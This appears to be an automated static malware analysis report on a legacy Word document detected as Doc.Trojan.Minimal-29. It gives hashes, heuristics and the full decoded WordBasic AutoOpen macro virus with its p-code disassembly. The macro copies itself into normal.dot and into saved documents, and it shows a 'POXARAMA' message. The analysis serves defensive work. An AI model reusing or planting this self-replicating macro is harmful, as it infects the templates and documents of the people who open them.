Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5f677d212d919396…

MALICIOUS

Office (OLE)

34.0 KB Created: 1994-10-04 15:29:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cbe1858a569c1ac6445e41b7ab6591c0 SHA-1: 541eb2657b234480857358cc1f01f26366e845fb SHA-256: 5f677d212d9193962bdee01d484bb8edf9c3342c8c7d38c52616bd83ffb4f828
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a malicious Office document containing a legacy WordBasic AutoOpen macro. This macro is designed to copy itself to the normal.dot template and potentially save the document with a new name, indicating an attempt at persistence or propagation. The presence of the AutoOpen macro and the legacy WordBasic language strongly suggest malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-29 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-29
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2757 bytes
SHA-256: cb5988b2630c4c305023fb2f2320c0bb7f37f0dafddc7739f04575b0f889c6d1
Detection
ClamAV: Doc.Trojan.Minimal-29
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"


Public Sub MAIN()
Dim N$
Dim Msg$
Rem AutoOpen Macro
Dim wiz As Object: Set wiz = WordBasic.DialogRecord.FileSaveAs(False)
WordBasic.CurValues.FileSaveAs wiz

On Error GoTo -1: On Error GoTo PoX
If wiz.Format = 0 Then
wiz.Format = 1
N$ = WordBasic.[FileName$]()
WordBasic.MacroCopy "normal.dot:AutoOpen", WordBasic.[FileName$]() + ":AutoOpen", 2
WordBasic.FileSaveAs wiz
End If

WordBasic.MacroCopy WordBasic.[FileName$]() + ":AutoOpen", "normal.dot:AutoOpen", 2
Msg$ = Msg$ + " May a PoX be upon your Man "
WordBasic.MsgBox Msg$, "               POXARAMA"
WordBasic.Beep 17
PoX:
End Sub

' Processing file: /opt/analyzer/scan_staging/57e24701d32b4e05a193e56faf35e6fe.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 2459 bytes
' Line #0:
' Line #1:
' Line #2:
' 	FuncDefn (Public Sub MAIN())
' Line #3:
' 	Dim 
' 	VarDefn N
' Line #4:
' 	Dim 
' 	VarDefn Msg
' Line #5:
' 	Rem 0x000F " AutoOpen Macro"
' Line #6:
' 	Dim 
' 	VarDefn wiz (As Object)
' 	BoS 0x0000 
' 	SetStmt 
' 	LitVarSpecial (False)
' 	Ld WordBasic 
' 	MemLd DialogRecord 
' 	ArgsMemLd FileSaveAs 0x0001 
' 	Set wiz 
' Line #7:
' 	Ld wiz 
' 	Ld WordBasic 
' 	MemLd CurValues 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #8:
' Line #9:
' 	OnError <crash> 
' 	BoS 0x0000 
' 	OnError PoX 
' Line #10:
' 	Ld wiz 
' 	MemLd Format$ 
' 	LitDI2 0x0000 
' 	Eq 
' 	IfBlock 
' Line #11:
' 	LitDI2 0x0001 
' 	Ld wiz 
' 	MemSt Format$ 
' Line #12:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	St N$ 
' Line #13:
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #14:
' 	Ld wiz 
' 	Ld WordBasic 
' 	ArgsMemCall FileSaveAs 0x0001 
' Line #15:
' 	EndIfBlock 
' Line #16:
' Line #17:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0009 ":AutoOpen"
' 	Add 
' 	LitStr 0x0013 "normal.dot:AutoOpen"
' 	LitDI2 0x0002 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0003 
' Line #18:
' 	Ld Msg$ 
' 	LitStr 0x001C " May a PoX be upon your Man "
' 	Add 
' 	St Msg$ 
' Line #19:
' 	Ld Msg$ 
' 	LitStr 0x0017 "               POXARAMA"
' 	Ld WordBasic 
' 	ArgsMemCall MsgBox 0x0002 
' Line #20:
' 	LitDI2 0x0011 
' 	Ld WordBasic 
' 	ArgsMemCall Beep 0x0001 
' Line #21:
' 	Label PoX 
' Line #22:
' 	EndSub